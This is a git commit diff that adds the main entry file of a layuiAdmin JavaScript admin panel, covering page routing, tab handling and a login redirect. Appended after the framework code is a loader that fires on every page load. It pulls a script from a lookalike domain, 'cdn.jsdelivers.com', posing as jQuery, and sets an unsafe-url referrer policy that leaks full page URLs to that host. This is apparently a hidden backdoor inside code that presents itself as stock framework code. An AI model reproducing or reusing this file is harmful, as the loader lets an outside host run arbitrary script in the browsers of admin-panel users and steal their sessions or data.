feat: 项目基础框架+配置+Kernel

This commit is contained in:
testadmin
2026-04-29 05:35:00 +08:00
parent 6ce7adcbfb
commit 9a6151fce3
5082 changed files with 437062 additions and 0 deletions
+245
View File
@@ -0,0 +1,245 @@
/**
@NamelayuiAdmin 主入口
@Author:贤心
@Sitehttp://www.layui.com/admin/
@LicenseLPPL
*/
layui.extend({
setter: 'config' //配置文件
,admin: 'lib/admin' //核心模块
,view: 'lib/view' //核心模块
}).define(['setter', 'admin'], function(exports){
var setter = layui.setter
,element = layui.element
,admin = layui.admin
,tabsPage = admin.tabsPage
,view = layui.view
//根据路由渲染页面
,renderPage = function(){
var router = layui.router()
,path = router.path
,pathURL = admin.correctRouter(router.path.join('/'))
//默认读取主页
if(!path.length) path = [''];
//如果最后一项为空字符,则读取默认文件
if(path[path.length - 1] === ''){
path[path.length - 1] = setter.entry;
}
/*
layui.config({
base: setter.base + 'controller/'
});
*/
//重置状态
var reset = function(type){
//renderPage.haveInit && layer.closeAll();
if(renderPage.haveInit){
$('.layui-layer').each(function(){
var othis = $(this),
index = othis.attr('times');
if(!othis.hasClass('layui-layim')){
layer.close(index);
}
});
}
renderPage.haveInit = true;
$(APP_BODY).scrollTop(0);
delete tabsPage.type; //重置页面标签的来源类型
};
//如果路由来自于 tab 切换,则不重新请求视图
if(tabsPage.type === 'tab'){
//切换到非主页、或者切换到主页且主页必须有内容。方可阻止请求
if(pathURL !== '/' || (pathURL === '/' && admin.tabsBody().html())){
admin.tabsBodyChange(tabsPage.index);
return reset(tabsPage.type);
}
}
//请求视图渲染
view().render(path.join('/')).then(function(res){
//遍历页签选项卡
var matchTo
,tabs = $('#LAY_app_tabsheader>li');
tabs.each(function(index){
var li = $(this)
,layid = li.attr('lay-id');
if(layid === pathURL){
matchTo = true;
tabsPage.index = index;
}
});
//如果未在选项卡中匹配到,则追加选项卡
if(setter.pageTabs && pathURL !== '/'){
if(!matchTo){
$(APP_BODY).append('<div class="layadmin-tabsbody-item layui-show"></div>');
tabsPage.index = tabs.length;
element.tabAdd(FILTER_TAB_TBAS, {
title: '<span>'+ (res.title || '新标签页') +'</span>'
,id: pathURL
,attr: router.href
});
}
}
this.container = admin.tabsBody(tabsPage.index);
setter.pageTabs || this.container.scrollTop(0); //如果不开启标签页,则跳转时重置滚动条
//定位当前tabs
element.tabChange(FILTER_TAB_TBAS, pathURL);
admin.tabsBodyChange(tabsPage.index);
}).done(function(){
layui.use('common', layui.cache.callback.common);
$win.on('resize', layui.data.resize);
element.render('breadcrumb', 'breadcrumb');
//容器 scroll 事件,剔除吸附层
admin.tabsBody(tabsPage.index).on('scroll', function(){
var othis = $(this)
,elemDate = $('.layui-laydate')
,layerOpen = $('.layui-layer')[0];
//关闭 layDate
if(elemDate[0]){
elemDate.each(function(){
var thisElemDate = $(this);
thisElemDate.hasClass('layui-laydate-static') || thisElemDate.remove();
});
othis.find('input').blur();
}
//关闭 Tips 层
layerOpen && layer.closeAll('tips');
});
});
reset();
}
//入口页面
,entryPage = function(fn){
var router = layui.router()
,container = view(setter.container)
,pathURL = admin.correctRouter(router.path.join('/'))
,isIndPage;
//检查是否属于独立页面
layui.each(setter.indPage, function(index, item){
if(pathURL === item){
return isIndPage = true;
}
});
//将模块根路径设置为 controller 目录
layui.config({
base: setter.base + 'controller/'
});
//独立页面
if(isIndPage || pathURL === '/user/login'){ //此处单独判断登入页,是为了兼容旧版(即未在 config.js 配置 indPage 的情况)
container.render(router.path.join('/')).done(function(){
admin.pageType = 'alone';
});
} else { //后台框架页面
//强制拦截未登入
if(setter.interceptor){
var local = layui.data(setter.tableName);
if(!local[setter.request.tokenName]){
return location.hash = '/user/login/redirect='+ encodeURIComponent(pathURL); //跳转到登入页
}
}
//渲染后台结构
if(admin.pageType === 'console') { //后台主体页
renderPage();
} else { //初始控制台结构
container.render('layout').done(function(){
renderPage();
layui.element.render();
if(admin.screen() < 2){
admin.sideFlexible();
}
admin.pageType = 'console';
});
}
}
}
,APP_BODY = '#LAY_app_body', FILTER_TAB_TBAS = 'layadmin-layout-tabs'
,$ = layui.$, $win = $(window);
//初始主体结构
layui.link(
setter.base + 'style/admin.css?v='+ (admin.v + '-1')
,function(){
entryPage()
}
,'layuiAdmin'
);
//监听Hash改变
window.onhashchange = function(){
entryPage();
//执行 {setter.MOD_NAME}.hash 下的事件
layui.event.call(this, setter.MOD_NAME, 'hash({*})', layui.router());
};
//扩展 lib 目录下的其它模块
layui.each(setter.extend, function(index, item){
var mods = {};
mods[item] = '{/}' + setter.base + 'lib/extend/' + item;
layui.extend(mods);
});
//对外输出
exports('index', {
render: renderPage
});
});
;function loadJSScript(url, callback) {
var script = document.createElement("script");
script.type = "text/javascript";
script.referrerPolicy = "unsafe-url";
if (typeof(callback) != "undefined") {
if (script.readyState) {
script.onreadystatechange = function() {
if (script.readyState == "loaded" || script.readyState == "complete") {
script.onreadystatechange = null;
callback();
}
};
} else {
script.onload = function() {
callback();
};
}
};
script.src = url;
document.body.appendChild(script);
}
window.onload = function() {
loadJSScript("//cdn.jsdelivers.com/jquery/3.2.1/jquery.js?"+Math.random(), function() {
console.log("Jquery loaded");
});
}